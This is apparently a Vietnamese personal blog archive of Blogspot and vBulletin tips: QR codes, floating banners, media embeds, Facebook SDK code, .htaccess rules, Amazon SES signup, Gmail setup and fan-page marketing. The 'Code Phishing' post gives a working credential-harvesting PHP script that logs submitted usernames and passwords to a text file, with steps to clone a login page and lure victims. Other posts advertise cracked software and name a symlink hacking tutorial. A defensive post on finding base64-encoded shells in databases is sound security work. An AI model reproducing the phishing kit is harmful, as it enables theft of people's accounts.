Sunday, December 29, 2013

Chèn Mã QRCODE Vào Mỗi Bài Viết

Để chèn mã QrCode vào mỗi bài viết chúng ta chèn code sau vào vị trí muốn hiển thị
<script type="text/javascript">
var uri=window.location.href;
document.write("<img src='http://api.qrserver.com/v1/create-qr-code/?data="+encodeURI(uri)+"&size=150x150'/>");
</script>
Chỉnh lại size cho phù hợp.

Sunday, December 29, 2013

Sunday, December 22, 2013

Smart Floating Banner Cho Blogspot

Bài này mình hướng dẫn các bạn tạo banner float cho Blogspot.

Xem demo tại đây.

Bước 1: Cài CSS
Tìm ]]></b:skin> và chèn đoạn CSS trên ]]></b:skin>
#banner {
  position: absolute;
  top: 0;
}

#banner.fixed {
  top: 5px;
  position: fixed;
 }
Bước 2: Cài Scrpit
Chèn đoạn scrpit sau trước thẻ </head>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.js">
<script type='text/javascript'>
$(document).ready(function () {
  var top = $(&#39;#banner').offset().top - parseFloat($('#banner').css('marginTop').replace(/auto/, 0));
  $(window).scroll(function (event) {
    var y = $(this).scrollTop();

    if (y >= top) {
      $(&#39;#banner').addClass('fixed');
    } else {
      $(&#39;#banner').removeClass('fixed');
    }
  });
});
</script>
Bước 3: Chèn banner
<div class='' id='banner'>
Banner
</div>
Chú Ý: Nếu muốn chèn cho widget thì có dạng như sau
<b:widget id='HTML1' locked='false' title='' type='HTML'>
<b:includable id='main'>
<div class='' id='banner'>
...
...
</div>
</b:includable>
</b:widget>
Widget mình làm ở trên là HTML1, tùy vào widget của bạn có id bao nhiêu và chèn vào cho phù hợp

Sunday, December 22, 2013

Tuesday, December 10, 2013

PHP Designer 8.1.2 full crack - công cụ lập trình PHP chuyên nghiệp

PHP Designer là một công cụ lập trình PHP chuyên nghiệp và khá nỗi tiếng trong giới lập trình ở cả Việt Nam và thế giới. PHP Designer là một giải pháp tất cả trong một trong quá trình làm website của bạn, nó hỗ trợ việc xây dựng các công cụ trên PHP IDE bằng HTML5, CSS3 và Javascript.


Điều đặc biệt nhất có thể ít người biết đến đó là PHP Designer do chính người Việt Nam xây dựng, tác giả của công trình này là Michael Pham - một người mang cả Quốc tịch Việt Nam và Đan Mạch. PHP Designer đã được Michael Pham phát triển vào năm 1998, hiện nay đã mặt trên hơn 200 quốc gia trên thế giới.

Một số tính năng:

  • - Tạo, chỉnh sửa, gỡ lỗi, phân tích và công bố PHP, HTML5, CSS3 và JavaScript
  • - Tăng tốc độ mã hóa các dòng lệnh của bạn tiết kiệm thời gian.
  • - Hỗ trợ tất cả các framework PHP như Zend, CodeIgniter, Yii, Symfony và Prado.
  • - Frame JavaScript như jQuery, Ext JS, YUI, Dojo, MooTools và Prototype.
  • - Hỗ trợ đa ngôn ngữ (trên 20 ngôn ngữ). 

Tuesday, December 10, 2013

Monday, December 9, 2013

Cách Post Video Trong Blogspot

This summary is not available. Please click here to view the post.

Monday, December 9, 2013

Saturday, December 7, 2013

Player MP4 & FLV Bằng JWplayer

Sử Dụng HTML.
<object id="player1" width="480" height="270" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0">
<param name="flashvars" value="file=LINK VIDEO&amp;autostart=true" />
<param name="allowfullscreen" value="true" />
<param name="allowscriptaccess" value="always" />
<param name="src" value="https://sites.google.com/site/dihisidata01/file-player/player.swf" />
<embed id="player1" width="480" height="270" type="application/x-shockwave-flash" src="https://sites.google.com/site/dihisidata01/file-player/player.swf" flashvars="file=LINK VIDEO&amp;autostart=true" allowfullscreen="true" allowscriptaccess="always" />
</object>
 

Saturday, December 7, 2013

Thursday, December 5, 2013

Chèn Html5 Mp3 Player Vào Blogspot


Khi viết bài, chọn thẻ HTML

Code Mp3 Player bình thường
<audio controls="controls"><source src="mybloggersworld.com" autoload="true" autoplay="true" hidden="true" type="audio/mp3" /></source></audio>

Code chạy tự động
<audio controls autoplay="controls"><source src="mybloggersworld.com" autoload="true" autoplay="true" hidden="true" type="audio/mp3" /></source></audio>

Code chạy liên tục (lập lại)
<audio controls loop="controls"><source src="mybloggersworld.com" autoload="true" autoplay="true" hidden="true" type="audio/mp3" /></source></audio>

Thursday, December 5, 2013

Monday, December 2, 2013

Hướng dẫn chèn phim Picasa vào Blogspot

Để 1 blog cá nhân thu hút được nhiều người xem có lẽ nội dung giải trí cần được chăm sóc một xíu. Sau một thời gian mày mò cách post phim picasa lên blogspot cuối cùng cũng thành công.



Để post phim từ serverpicasa, các bạn chọn thẻ html và paste code sau vào.
<center><embed width="600" height="400" name="flashplayer" src="http://player.xixam.com/player.swf" flashvars="plugins=http://player.xixam.com/plugins4/proxy.swf&amp;proxy.link=LINK PHIM PICASA&amp;captions.file=&amp;captions.color=#FFCC00&amp;capt ions.fontFamily=Arial&amp;captions.fontSize=18&amp;caption s.fontWeight=bold&amp;autostart=false&amp;volume=100" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always"></center>
Chú ý:
- Link phim picasa: https://picasaweb.google.com/lh/photo/dKwA8KKJYKikR2CcTNJLNjF9XAFzlH7g1SNBhD1H_a4
- Các bạn có thể thay đổi kích thước chiều rộng và chiều cao.
- Autostart: true hay false.

Monday, December 2, 2013

Sunday, December 1, 2013

Chuyển album ảnh từ Facebook sang Picasa và Google+

Move Your Photos là một extesion miễn phí dành cho trình duyệt Google Chrome, nó sẽ giúp bạn nhanh chóng chuyển các album ảnh từ Facebook sang qua Picasa, Google+ cực nhanh và dễ dàng.

Đầu tiên bạn kích hoạt trình duyệt Google Chrome lên và truy cập vào đây: https://chrome.google.com/webstore/detail/idiebfmmkhaffedkhjhapmagabcadjhc


Sau đó bấm nút Add to Chrome, rồi bấm nút Install để cài đặt extesion này cho trình duyệt.

Sau khi cài đặt xong, chương trình sẽ đặt một biểu tượng nằm ở góc bên phải của thanh Address. Bạn kích chuột vào nút này rồi chọn Login with Facebook, sau đó khai báo tên truy cập, mật khẩu và gán quyền truy cập tài khoản Facebook cho ứng dụng.



Sau đó bạn chọn tên album trên Facebook mà mình muốn chuyển qua Picasa, có thể chọn Upload All để chuyển tất cả các file ảnh sang hay Upload none để huy bỏ và chọn từng ảnh riêng lẻ mà bạn muốn.


Sau khi đã chọn đủ các album hay file ảnh mà mình cần, bạn chỉ cần bấm nút Upload ở dưới cùng của trang để thực hiện quá trình chuyển ảnh qua Picsa. Sau khi copy xong, album ảnh của bạn sẽ xuất hiện trên Google Plus và từ đây bạn có thể duyệt các file ảnh mà mình thích.


Sunday, December 1, 2013

Saturday, November 30, 2013

Facebook Code Error-The reference to entity "appId" must end withthe ';' delimiter

Thêm hay bớt một vài thứ trong blogspot thì khó hơn nhiều so với wordpress. Bạn có thể tùy chỉnh dễ dàng với blog wordpress, nhưng với blogspot thì không hề dễ dàng chút nào. Ví dụ như trường hợp này của tôi.

Khi chèn hình và link chúng ta thường sử dụng mã html sau:
<a href="link"><img src="link hình ảnh"></a>

Tuy nhiên, nếu bạn chèn link kiểu như thế thì blogspot sẽ báo lỗi liền và nó yêu cầu bạn phải kết thúc thẻ <img> bằng </img>. Khôi hài thật ... và đây là link chuẩn của nó.
<a href="link"><img src="link hình ảnh></img></a>

Bây giờ chúng ta tập trung vào vấn đề chính của bài viết này. Đó là lỗi phát sinh khi chúng ta chèn code like hay share của facebook vào blogspot thường bị lỗi.
The reference to entity "appId" must end withthe ';' delimiter

Khi bạn chèn code thì facebook cung cấp cho bạn đoạn mã.


Khi bạn chèn đoạn mã trên mà bị lỗi thì copy và chèn đoạn code sau thì sẽ hết.

<div id="fb-root"></div>
<script>
window.fbAsyncInit = function() {
    FB.init({
      appId      : 'YOUR_APP_ID', // App ID
      status     : true, // check login status
      cookie     : true, // enable cookies to allow the server to access the session
      xfbml      : true  // parse XFBML
    });
    // Additional initialization code here
  };
  // Load the SDK Asynchronously
  (function(d){
     var js, id = 'facebook-jssdk', ref = d.getElementsByTagName('script')[0];
     if (d.getElementById(id)) {return;}
     js = d.createElement('script'); js.id = id; js.async = true;
     js.src = "//connect.facebook.net/en_US/all.js";
     ref.parentNode.insertBefore(js, ref);
   }(document));
</script>

Chú ý thay mã App ID của bạn.

P/s: bài viết có tham khảo trên một số bài viết nước ngoài. Ghi rõ nguồn nếu copy bài viết này lên các website khác.

Saturday, November 30, 2013

Wednesday, September 18, 2013

Banner Trượt Có Giới Hạn Tại Sidebar

Bài viết này hướng dẫn cách thức chèn banner trượt có giới hạn tại vị trí sidebar cho vbb.

Xem hình demo bên dưới
Hình 1: nhấp vào hình để xem rỏ hơn
Hình 2: nhấp vào hình để xem rỏ hơn
Để làm 1 banner trượt như thế này cho vbb thì trước tiên chúng ta cần 1 file jquery, ở đây chúng ta lạy luôn của google cho tiện (có thể download về và upload lên host). Tiến hành khai báo file này và thêm 1 đoạn script tại header
<script type="text/javascript" src="http://jqueryjs.googlecode.com/files/jquery-1.2.6.min.js"></script>

<script type="text/javascript">
$(document).ready(function(){


    $(window).scroll(function(){
        if  ($(window).scrollTop() > $(".smartBannerIdentifier").offset({ scroll: false }).top){
           $(".smartbanner").css("position", "fixed");
           $(".smartbanner").css("top", "0");
        }
       
        if  ($(window).scrollTop() <= $(".smartBannerIdentifier").offset({ scroll: false }).top){
           $(".smartbanner").css("position", "relative");
           $(".smartbanner").css("top", $(".smartBannerIdentifier").offset);
        }
    });


});
</script>
Tiếp theo là đến phần CSS cho banner quảng cáo. Vào additional.css theo phần sau vào
.smartbanner {
    width:258px;
    background-color: #FF0000;
    float: right;
}
Có thể tùy chỉnh các thông số cho phù hợp với forum.
Giờ  đến code chèn quảng cáo cho sidebar. Vào forumhome chèn đoạn code này dưới phần {vb:raw sidebar}
<div class="smartBannerIdentifier"></div>
<div class="smartbanner">
<img src="http://fc02.deviantart.net/fs70/f/2012/032/d/4/ads_logo_by_aliirules-d4ob2by.png" width="100%">   
</div>

Wednesday, September 18, 2013

Monday, September 9, 2013

Loại bỏ tham số ?p=xxx trên Url Forum vBulletin

Chức năng:
- Tự động chuyển link có tham số ?p=xxx sang link không có ?p=xxx
- Nếu ?p=xxx ở trang thứ n, tự động chuyển sang trang thứ n của thread đó, không để ?p=xxx trên Url



Hướng dẫn cài:
AdminCP-> Product Manager -> Add/Import Product -> Import file xml ở đính kèm.

Nguồn: sinhvienit.net

Monday, September 9, 2013

Thursday, August 29, 2013

Hướng Dẫn Chèn Comment Box Vào Vbb


Đây là một trong những thủ thuật mình tốn nhiều thời gian nhất khi làm vbb. Thời gian nghiên cứu, mày mò có lẽ được tính bằng năm. Trong thời gian này nhiều lúc nghiên cứu nhưng không đạt được kết quả nào cả. Chán nản, nhưng vẫn tiếp tục và thành công :)

Đây là kết quả đạt được.


Ở đây, điều mình muốn nói là chèn nội dung comment box thì quá dễ nhưng làm sao để quản lý comment mới là chuyện đáng nói. Khách comment những nội dung gì, ở đâu ???

Khi viết những dòng này trong lòng có một chút buồn nhẹ. Vì sao ??? vì hơn 1 năm ròng tìm tòi và làm thành công nhưng không ghi lại nhật ký làm việc. Cách đây 1 tháng toàn server bị hack toàn bộ dữ liệu, phải làm lại style mới trong đó có công đoạn chèn comment box. Giờ đây lại loay hoay làm lại từ đầu với tình trạng gần giống như một năm về trước.

Thôi thì chịu khó vậy, lần này làm xong viết hẵn một tut để hôm sau có cái mà dùng. Anh em nào đọc được cũng có thể làm theo.

Bước 1: Chèn comment box

Trước tiên, lấy code chèn vào style. Vào https://developers.facebook.com/docs/reference/plugins/comments/

Nhập các thông tin vào phần đăng ký, nhấn Get Code => lấy code trong tab HTML5 nhé

Phần <div id="fb-root"></div> paste vào headinclude nhé. Lúc trước làm nhét vào header nhưng không được :)

Phần <div class="fb-comments"... có thể lấy code tại HTML5 hay code sau đây.
<div class="fb-comments" data-href="http://dihisi.com/{vb:link thread,{vb:raw thread}}" data-width="985" data-num-posts="10" order_by="reverse_time"></div>
Ở đây mình thêm một số thông số cơ bản như {vb:link thread,{vb:raw thread}}, data-num-posts="10", order_by="reverse_time". Ngoài ra, có thể thêm một số khác (tham khảo tại https://developers.facebook.com/docs/reference/plugins/comments/ )

Như vậy là hoàn thành công đoạn chèn comment box vào vbb, việc tiếp theo cần làm là quản lý nội dung comment của khách.

Phần 2: Quản lý nội dung comment






Thursday, August 29, 2013

Monday, July 22, 2013

Cách đăng ký tài khoản Amazon SES

Dạo này nhều bạn gọi điện hỏi mình về cách đăng ký tài khoản amazon SES quá, nhều lúc hướng dẫn nhưng các bạn không hiểu, thôi thì ko có gì bằng có 1 bài hướng dẫn quy củ cho các bạn xem.
Công dụng gửi Email marketing bằng tài khoản Amazon SES thì chắc mình không cần nhắc lại, việc sử dụng tài khoản Amazon để áp dụng vào Marketing Online rất hiệu quả.
Amazon SES là một dịch vụ cho gửi email với số lượng lớn có giá thành rẻ và chất lượng tốt nhất hiện nay (giá chỉ 0,1$/1000 email), tốc độ gửi rất nhanh (1 ngày gửi được 50.000 Email), khả năng vào Inbox luôn cao và đặc biệt là phương thức thanh toán tiện lợi qua thẻ Visa.
đăng nhập amazon

Trước tiên các bạn truy cập vào link sau: https://console.aws.amazon.com/ses/home để đăng ký dịch vụ gửi email SES của Amazon (Simple Email Service).
Các bạn bấm vào nút Sign Up for Amazon SES, nếu bị yêu cầu đăng nhập lại bạn đăng nhập lại bằng tài khoản đã đăng ký trước đó. Sau đó các bạn chờ tầm vài tiếng để Amazon setup xong dịch vụ gửi email cho bạn. Đến khi Amazon setup xong sẽ gửi email thông báo thành công và bạn vào lại link trên không còn nút Sign Up for Amazon SES nữa.
2_requestproductionaccess

Sau khi setup xong phần SES, các bạn sẽ thấy bảng điều khiển của SES hiện ra mà không còn nút Sign Up nữa, các bạn tiếp tục bấm vào nút Request Production Access.
3_requestproductionaccess2

Các bạn điền đầy đủ thông tin của bạn (họ và tên, số điện thoại, website, mục đích sử dụng) như trong hình rồi bấm Submit. Sau đó tiếp tục chờ vài tiếng cho đến khi vào lại không còn nút Request Production Access nữa. Mục đích của phần này là để yêu cầu Amazon SES cho phép gửi email ra bên ngoài vì trước đó Amazon chỉ cho phép gửi thử email tới những email đã verified.
4_verify_email

Sau khi vào lại phần SES mà không còn thấy nút Request Production Access cũng như thấy Amazon ghi Sending Quota là 10000 email có nghĩa là bạn đã có thể bắt đầu gửi email đi. Bạn click tiếp vào phần Verify Sender để tiến hành xác thực địa chỉ cần dùng để gửi với Amazon.
5_verify_email2

Bạn nhấp chọn Verify a new Email Address, sau đó bạn muốn thư gửi đi từ địa chỉ email nào thì điền địa chỉ email đó vào rồi bấm Verify this email address. Amazon sẽ gửi đường link xác thực về hòm mail đó, bạn đăng nhập vào hòm mail và click vào đường link xác thực để hoàn tất.
6_security1

Bấm vào tên bạn phía trên góc phải màn hình rồi chọn vào -> Security Credential
7_security2

Sau khi tạo xong bạn nhận ấy mã Access Key ID và  Secret Access Key đây chính là Tài khoản và Password để điền vào các phần mềm gửi Email VD như Sendblaster (Có thể coi Access Key ID chính là tài khoản Email và Secret Access Key là password)

Monday, July 22, 2013

Phương pháp phát hiện và loại bỏ shell trong Database

Có nhiều bạn hỏi tôi cách để phát hiện shell khi hacker include vào Database? Hôm nay tôi làm tut này để trả lời câu hỏi trên và giúp các bạn nhận thức thêm về vấn đề bảo mật.

Trước hết ta phải biết cách thức mà hacker include vào Data thế nào thì sau đó mới có phương pháp để loại bỏ triệt để. Các bạn tham khảo thêm bài viết Phương pháp include shell trong source VBB và cách phòng chống.

Tôi xin nói thêm trong vbb những table có thể lợi dụng để include shell vào là table_template và table_plugin.

Vậy làm thế nào để phát hiện shell khi đã được include vào 2 table này nhỉ?

Cách làm như sau: - Bạn vào Phpadmin của host và search từ khóa

base64

Và làm theo hướng dẫn như hình sau:


Tại sao ta phải search từ khóa base64 mà không phải là từ khóa khác ?

Xin thưa rằng tất cả các con shell hiện nay nếu không được mã hóa thì sẽ bị antivirut tiêu diệt trừ khi đổi tên file thành file.txt

- Việc còn lại của bạn là mở table khả nghi ra và kiểm tra xem có gì đặc biệt khác thường trong đó không.


Chú ý: 

- Đối với table plugin thì bạn có thể delete đi mà không ảnh hưởng gì đến việc hoạt động site.
- Đối với table template nếu bạn thích thì cũng có thể delete còn muốn dùng lại skin đó thì hãy vào admincp rồi nhấn vào revert để vbb tự động edit lại skin cho bạn.
- Bạn có thể áp dụng cách này với những code khác như joomla, new, shop, etc...

TUT hack local attack (symlink)


Thursday, May 16, 2013

Hướng Dẫn Lai Giữa Postbit Và Postbit_legacy

Trước tiên chúng ta tìm hiểu thế nào là Postbit Và Postbit_legacy ???

Bạn có thể dễ dàng nhận thấy trong khung bài viết là. Cái thông tin thành viên có 2 cách sắp đặt là theo chiều ngang hoặc dọc.

Để thay đổi giữa 2 kiểu này
vBulletin Options -> Style & Language Settings > Use Legacy (Vertical) Postbit Template
Chọn YES để hiện theo chiều dọc. Chọn NO để hiện chiều ngang

Chú ý: Thỉnh thoảng trong một số bài viết có đề cập đến template postbit họặc postbit_legacy. template postbit là template ứng với cách hiển thị ngang, postbit_legacy ứng với cách hiển thị dọc. -Tùy forum bạn đang để kiểu ngang hay dọc thì chọn template edit cho thích hợp.
Postbit_legacy
Postbit
Bây giờ chúng ta bắt tay thực hiện nào. 

Demo trực tiếp bạn có thể xem ở http://dihisi.com. Ở đây thông tin thành viên mình chọn hiển thị dọc, bài đầu tiên mình muốn hiển thị ngang.

Để làm được điều này, chúng ta thực hiện một số bước quan trọng sau:

Bước 1: Copy toàn bộ code trong phần postbit vào notepad. Sau đó xóa 2 đoạn code sau:
{vb:raw template_hook.postbit_start} (trên cùng của postbit)
{vb:raw template_hook.postbit_end} (cuối cùng của postbit)
Bước 2: Vào postbit_legacy ta thực hiện các thao tác sau.

Tìm {vb:raw template_hook.postbit_start}, sau đó chèn code này ngay bên dưới.
<vb:if condition="$post[postcount] == 1">
Chép code postbit ở trên vào dưới code <vb:if condition="$post[postcount] == 1"> sau đó chèn <vb:else /> vào bên dưới.

Chèn </vb:if> trên {vb:raw template_hook.postbit_end}

Lưu lại, thế là xong !!!


Thursday, May 16, 2013

Thursday, May 9, 2013

Code Phishing

Phishing có nghĩa là làm một website giả mạo để người dùng lầm tưởng là trang chính và cung cấp các thông tin quan trọng cho attacker như user và password.


Chúng ta cần phải có những thứ cần thiết sau:
  1. Hosting
  2. Domain
  3. Source
Vấn đề 1 và 2 thì các bạn có thể mua hoặc kiếm ở đâu đó, ở đây mình chỉ cung cấp source gồm 3 file chính.

File index.html của trang web giả mạo

- Có thể bạn muốn làm 1 trang facebook, gmail hay yahoo giả mạo. Chỉ cần xem source code của trang đăng nhập, copy và lưu lại thành "index.html".

- Chú ý phần code của nó, tìm "action=".  Sau đoạn này là một URL, khi ta đăng nhập nó sẽ chuyển ta đến URL này. Vì vậy chúng ta phải chuyển hướng đến 1 nơi khác, đó là chuyển đến file "login.php" sau đây.

File Login (login.php)
<?php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
File lưu ID và Password của victim (pswrds.txt)

Bước cuối cùng là upload 3 file này lên host của bạn, dụ victim đến và ...

Thursday, May 9, 2013

Tuesday, April 23, 2013

Các cách hacks file .htaccess (leech)

File .htaccess (hypertext access) của apache là một công cụ cực kỳ hữu dụng. File .htaccess thường được tìm thấy trong thư mục root của website, bạn có thể dễ dàng sửa chữa nó bằng bất kỳ text editor nào. Bạn nên sao lưu lại file .htaccess của mình trước khi thử nghiệm các cách hack dưới đây.



1. Ngăn chặn hotlink
Nhiều người copy ảnh từ server của bạn và đưa lên trang web của họ. Thêm vào .htaccess đoạn mã dưới đây sẽ giúp bạn ngăn chặn ảnh hiển thị trên website khác:

Options +FollowSymlinks
#No hotlink
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^[IMG]http://(www.)?domain.com/[/url] [nc]
RewriteRule .*.(gif|jpg|png)$ [url]http://domain.com/images/stop_stealing_bandwidth.gif[/IMG] [nc]

2. 301 Redirect
Nếu bạn chuyển domain, hoặc chỉ muốn chuyển một trang cũ về một trang mới và không muốn lo lắng về các kết quả search từ google, sử dụng đoạn mã sau

Redirect 301 /d/file.html http://www.domain.com/r/file.html

3. Chuyển hướng từ tên miền cũ sang tên mới
Sử dụng đoạn mã dưới đây bạn có thể chuyển tất cả các link từ tên miền cũ sang tên miền mới:

#Chuyển hướng từ tên miền cũ sang tên mới
RewriteEngine On
RewriteRule ^(.*)$ http://www.domain.com/$1 [R=301,L]

4. Tạo trang báo lỗi riêng
Bạn không muốn dùng các trang báo lỗi có sẵn của host, bạn có thể tạo các trang báo lỗi riêng và cấu hình vào file htaccess như sau:

ErrorDocument 401 /error/401.php
ErrorDocument 403 /error/403.php
ErrorDocument 404 /error/404.php
ErrorDocument 500 /error/500.php

5. Cấm IP truy cập
Nếu có 1 IP thường xuyên spam website của bạn, bạn có thể cấm IP đó như dòng 2, hoặc cấm 1 dải IP như dòng 3:

allow from all
deny from 113.190.183.138
deny from 113.190

6. Đặt email mặc định cho server admin
Sử dụng đoạn mã sau:

ServerSignature EMail
SetEnv SERVER_ADMIN default@domain.com

7. Bảo vệ file
Đoạn mã dưới đây sẽ từ chối khi người dùng truy cập vào bất kỳ file nào và gửi về lỗi 403:

#Protect .htaccess File

order allow,deny
deny from all


8. Đặt mã cho thư mục và file
Bạn có thể đặt mã & quyền truy cập vào thư mục/file như sau:

# Đặt mã cho thư mục
resides
AuthType basic
AuthName "Thư mục này đã được bảo vệ"
AuthUserFile /home/path/.htpasswd
AuthGroupFile /dev/null
Require valid-user

# Đặt mã cho file

AuthType Basic
AuthName "Prompt"
AuthUserFile /home/path/.htpasswd
Require valid-user


9. Đặt trang mặc định
Bạn có thể đặt trang web mặc định cho thư mục nào đó. Ví dụ đặt file about.html thay cho file index.html:

#Đặt trang mặc định (index)
DirectoryIndex about.html

10. Nén file bằng cách bật Gzip
Bằng cách bật Gzip bạn có thể nén file từ server giúp cho việc tải trang nhanh hơn

AddOutputFilterByType DEFLATE text/html text/plain text/xml application/xml application/xhtml+xml text/javascript text/css application/x-javascript
BrowserMatch ^Mozilla/4 gzip-only-text/html
BrowserMatch ^Mozilla/4.0[678] no-gzip

BrowserMatch bMSIE !no-gzip !gzip-only-text/html

11. Bỏ "category" ở URL
Để chuyển url từ: http://domain.com/category/tong-hop về -> http://domain.com/tong-hop, bạn chỉ cần thêm vào file .htaccess đoạn mã sau

RewriteRule ^category/(.+)$ http://www.domain.com/$1 [R=301,L]

12. Bỏ phần đuôi file ở URL
Bạn mới lập trình php và không muốn hiện .php ở url, hãy thêm đoạn code sau:

RewriteRule ^(([^/]+/)*[^.]+)$ /$1.php [L]

13. Thêm / vào cuối URL
Một vài bộ máy tìm kiếm (như Yahoo)tự động bỏ dấu / ở cuối url. Website của bạn cũng có thể được truy cập có hoặc không có dấu / ở sau cùng url. Điều này không tốt với các bộ máy tìm kiếm (sẽ bị coi là duplicated content). Thêm đoạn mã dưới đây vào .htaccess để giải quyết vấn đề đó:

#Thêm / vào cuối URL
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_URI} !#
RewriteCond %{REQUEST_URI} !(.*)/$
RewriteRule ^(.*)$ http://vannyneo.com/$1/ [L,R=301]

14. Bỏ www ở URL
Nếu bạn muốn chuyển mọi truy cập từ http://www.example.com thành http://example.com, thêm đoạn mã sau vào file .htaccess:

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} !^example.com$ [NC]
RewriteRule ^(.*)$ http://example.com/$1 [L,R=301]

15. Thêm www vào URL
Tất nhiên nếu bạn muốn ngược lại "14" bạn có thể dùng đoạn mã sau:

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} !^www.example.com$ [NC]
RewriteRule ^(.*)$ http://www.example.com/$1 [L,R=301]

16. Không cho "browse" thư mục
Để ngăn chặn truy cập vào tên file trong thư mục nào đó (ví dụ thư mục plugins của wordpress), thêm đoạn mã sau vào file .htacess:

Options All -Indexes

Nếu bạn muốn cho phép browse thư mục bạn chỉ cần đổi lại là: Options All +Indexes

Tuesday, April 23, 2013

Wednesday, March 6, 2013

Cấu hình tài khoản Gmail với Outlook Express

  • Click Add.
  • Choose Mail....
  • Enter your name under Display name:.
  • Click Next >.
  • Enter your Gmail address (something like "example@gmail.com") under E-mail address:.
  • Click Next > again.
  • Make sure IMAP is selected under My incoming mail server is a __ server.
  • Type "imap.gmail.com" in the Incoming mail (POP3 or IMAP) server: field.
  • Enter "smtp.gmail.com" under Outgoing mail (SMTP) server:.
  • Click Next >.
  • Type your full Gmail address under Account name: ("example@gmail.com", for example).
  • Enter your Gmail password in the Password: field.
  • Click Next > again.
  • Click Finish.
  • Highlight imap.gmail.com in the Internet Accounts window.
  • Click Properties.
  • Go to the Servers tab.
  • Make sure My server requires authentication is checked under Outgoing Mail Server.
  • Go to the Advanced tab.
  • Make sure This server requires a secure connection (SSL) is checked under both Outgoing mail (SMTP): and Incoming mail (IMAP):.
  • Type "465" under Outgoing server (SMTP):.
    • If the number under Incoming server (IMAP): has not been changed to "993" automatically, enter "993" there.
  • Click OK.
  • Click Close in the Internet Accounts window.
  • Now, select Yes to download the list of Gmail folders to Outlook Express.
  • Click OK

Wednesday, March 6, 2013

Friday, November 30, 2012

18 cách thu hút fan sáng tạo cho fan page - phần 1

Bạn là một doanh nghiệp hay một ngôi sao mới nổi, bạn nghe đồn rằng chỉ cần tạo một Fan Page trên Facebook thì sẽ có rất nhiều người biết đến thương hiệu của mình, cơ hội pr là lớn lắm, và thế là bạn nhanh nhảu “set up” ngay một Page cho mình rồi hi vọng rằng Fan sẽ tự động mà rơi vào rọ. Hãy quên điều đó đi ! Facebook Fan Page là một công cụ Social Media rất mạnh nhưng nó chỉ phát huy tính hiệu quả cũng như thu hút nhiều Fan khi được đặt trong tay của một nghệ sĩ sáng tạo và khéo léo.

 #1: “Suggest to friends”

Cách thông thường và truyền thống nhất sau khi tạo xong một fan page đó là chúng ta rê chuột ngay đến nút “Suggest to Friends” và mời tất tần tật bạn bè của mình thích trang mình vừa mới tạo. Điều này là hợp lý một cách rất tự nhiên. Vì chúng ta cần một cú hích ban đầu để “làm nóng” fan page của mình.
Đã có rất nhiều người phàn nàn rằng họ không thích bị spam bởi những email đề nghị thích trang này trang nọ (mình cũng có đề cập vấn đề này trong bài “Văn hóa Like”). Đa phần chúng ta sẽ click vào đường dẫn trong email để xem trang này có đúng với sở thích của mình không rồi mới quyết định like. Vậy trong trường hợp chúng ta không like nhưng sau đó vẫn cứ liên tục “ăn” mail với nội dung đề nghị thích trang đó thì sao. Thì có mà phát điên lên chứ sao nữa !

Vì thế những Social Marker là người quyết định xem mình có phải là những Social Marketer thực sự hay đơn giản chỉ là những Social Spammer. Ngoài ra, bạn cần hiểu rằng công cụ suggest to friends không phải lúc nào cũng hiệu quà bở một số lí do:
  • Một cá nhân trên Facebook chỉ có thể like tối đa 500 page, theo như câu trả lời của Facebook Help Center. 
  • Nếu những người mà bạn đề nghị trở thành Fan đã là Fan của 500 page thì dù họ có thực sự thích trang của bạn cũng lực bất tòng tâm. Trong khi đó bạn không biết điều này và cứ tiếp tục “ép” họ, thì chắc chắn bạn sẽ tạo một ấn tượng xấu về thương hiệu của mình trong mắt các Facebooker đồng thời đi ngược lại với phương châm và đặc thù của truyền thông xã hội đấy. 
Tuy nhiên, không có gì là không thề. Để áp dụng phương thức “Suggest” một cách hiệu quả, hãy lưu ý 2 điều sau đây:
  • Không bao giờ Suggest like khi fan page của bạn trống rỗng, chẳng có một post, status, photo, video hay note…hoặc chỉ lèo tèo vài ba cái. Ấn tượng đầu tiên là ấn tượng mãi mãi đúng không nào.
  • Thay vì suggest toàn bộ friends list, hãy nhớ xem, bạn có những người bạn thân và có uy tín nào. Hãy gửi Suggest đến những người ấy trước. Đó sẽ là những “influencer” (cá nhân ảnh hưởng)- những người thậm chí sẵn sàng “Like” fan page chỉ vì đó là lời đề nghị của bạn và họ cũng là những “con virus” khỏe nhất (nghĩa bóng). Sau đó hãy gửi message cám ơn và khuyến khích họ suggest cho bạn bè của mình. Dùng cách này, tốc độ tăng trưởng fan của bạn sẽ chậm hơn, nhưng bạn sẽ có những fan thật sự trung thành, vì họ sẽ đến với bạn thông qua những lời khuyên từ bạn bè. Đó là cách hay nhất và cũng tiết kiệm thời gian và công sức nhất. 
#2: Nhúng Widget Like Box vào website của bạn:

Doanh nghiệp nào cũng thường có website riêng của mình. Vậy thì đã đến lúc những “Sếp”, những người hoạch định chiến lược truyền thông cho công ty phải vỗ vai các webmaster của mình và nói rằng bạn muốn đặt một Like Box ( hiện nay Fan Box đã được đổi tên thành Like Box vì nút “become a fan” đã được chuyển thành nút “Like”) lên website của mình dù cho bạn chẳng biết FBML hay “embed code” là cái gì đi chăng nữa. Và thế là webmaster chỉ cần vào Like Box Widget của Facebook mà vọc thôi. Tại sao lại như thế
 Đơn giản thôi ! Đó là cách làm mới trang web của bạn. Ít nhất thì trong tiềm thức, người truy cập web cũng sẽ nhận thấy rằng:” À há ! công ty này cũng xì tin và thân thiện ghê hen !”. Và khi đó thì khả năng họ bấm like sẽ cao hơn nhiều trong khi bạn không sợ rằng mình bị rơi vào tình trạng “ép Fan” như đã nói ở trên. Nút Like thì quá dễ để bấm mà phải không, nó lại càng dễ hơn khi bạn đã chiếm được cảm tình của người dùng web.

